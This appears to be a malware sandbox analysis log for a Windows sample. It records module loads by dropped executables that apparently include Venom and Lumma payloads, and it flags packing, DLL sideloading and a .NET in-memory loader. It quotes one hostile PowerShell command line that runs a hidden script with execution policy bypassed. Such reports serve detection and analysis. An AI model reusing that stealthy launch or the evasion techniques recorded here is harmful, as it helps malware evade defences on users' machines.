Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\753F.exe Section loaded: wintypes.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: winhttp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: webio.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: mswsock.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: iphlpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: winnsi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: sspicli.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: dnsapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: rasadhlp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: schannel.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ntasn1.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ncrypt.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: msasn1.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: cryptsp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: rsaenh.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: cryptbase.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: gpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: dpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: wbemcomn.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: amsi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: userenv.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: profapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: version.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: uxtheme.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kdscli.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: g2m.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptnet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: devenum.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: msdmo.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: avicap32.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: g2m.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: g2m.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\753F.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\753F.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
Source: C:\Users\user\Desktop\7Y18r(14).exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: Binary string: rust_dave_sideload.pdb source: vm.exe, 00000025.00000002.3761757300.0000000070078000.00000002.00000001.01000000.00000018.sdmp, lm.exe, 00000026.00000002.2910739213.0000000070008000.00000002.00000001.01000000.00000019.sdmp, vm.exe, 0000002B.00000002.2941431494.0000000070078000.00000002.00000001.01000000.00000018.sdmp, g2m.dll.32.dr, g2m.dll0.32.dr
Source: Binary string: BitLockerToGo.pdb source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323520937.0000023B60790000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C000800000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C0008EC000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323973343.0000023B60750000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb& source: powershell.exe, 00000020.00000002.2624078104.0000020A687F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2624078104.0000020A687AD000.00000004.00000800.00020000.00000000.sdmp, lm.exe.32.dr
Source: Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.5.dr
Source: Binary string: BitLockerToGo.pdbGCTL source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323520937.0000023B60790000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C000800000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000002.2354952612.000000C0008EC000.00000004.00001000.00020000.00000000.sdmp, B552.exe, 0000001B.00000003.2323973343.0000023B60750000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb source: powershell.exe, 00000020.00000002.2624078104.0000020A687F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2624078104.0000020A687AD000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000000.2595768222.0000000000402000.00000002.00000001.01000000.00000016.sdmp, vm.exe, 00000025.00000002.3739220721.0000000000402000.00000002.00000001.01000000.00000016.sdmp, lm.exe, 00000026.00000000.2596792457.0000000000402000.00000002.00000001.01000000.00000017.sdmp, lm.exe, 00000026.00000002.2884350710.0000000000402000.00000002.00000001.01000000.00000017.sdmp, vm.exe, 0000002B.00000002.2871363883.0000000000402000.00000002.00000001.01000000.00000016.sdmp, vm.exe, 0000002B.00000000.2753936670.0000000000402000.00000002.00000001.01000000.00000016.sdmp, lm.exe.32.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\7Y18r(14).exe Unpacked PE file: 4.2.7Y18r(14).exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.gigug:W;.nigabu:R;.hud:W;.rsrc:R;sup:EW; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Unpacked PE file: 5.2.IXDaI.exe.ba0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Unpacked PE file: 17.2.IXDaI.exe.ee0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
.NET source code contains potential unpacker
Source: 37.2.vm.exe.4e40000.1.raw.unpack, ClientSocket.cs .Net Code: Invoke System.AppDomain.Load(byte[])
Source: 43.2.vm.exe.28c0000.1.raw.unpack, ClientSocket.cs .Net Code: Invoke System.AppDomain.Load(byte[])
Suspicious powershell command line found
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: sup
PE file contains sections with non-standard names
Source: 7Y18r(14).exe Static PE information: section name: .gigug
Source: 7Y18r(14).exe Static PE information: section name: .nigabu
Source: 7Y18r(14).exe Static PE information: section name: .hud
Source: 7Y18r(14).exe Static PE information: section name: sup
Source: IXDaI.exe.4.dr Static PE information: section name: .aspack
Source: IXDaI.exe.4.dr Static PE information: section name: .adata
Source: Uninstall.exe.5.dr Static PE information: section name: EpNuZ
Source: MyProg.exe.5.dr Static PE information: section name: PELIB
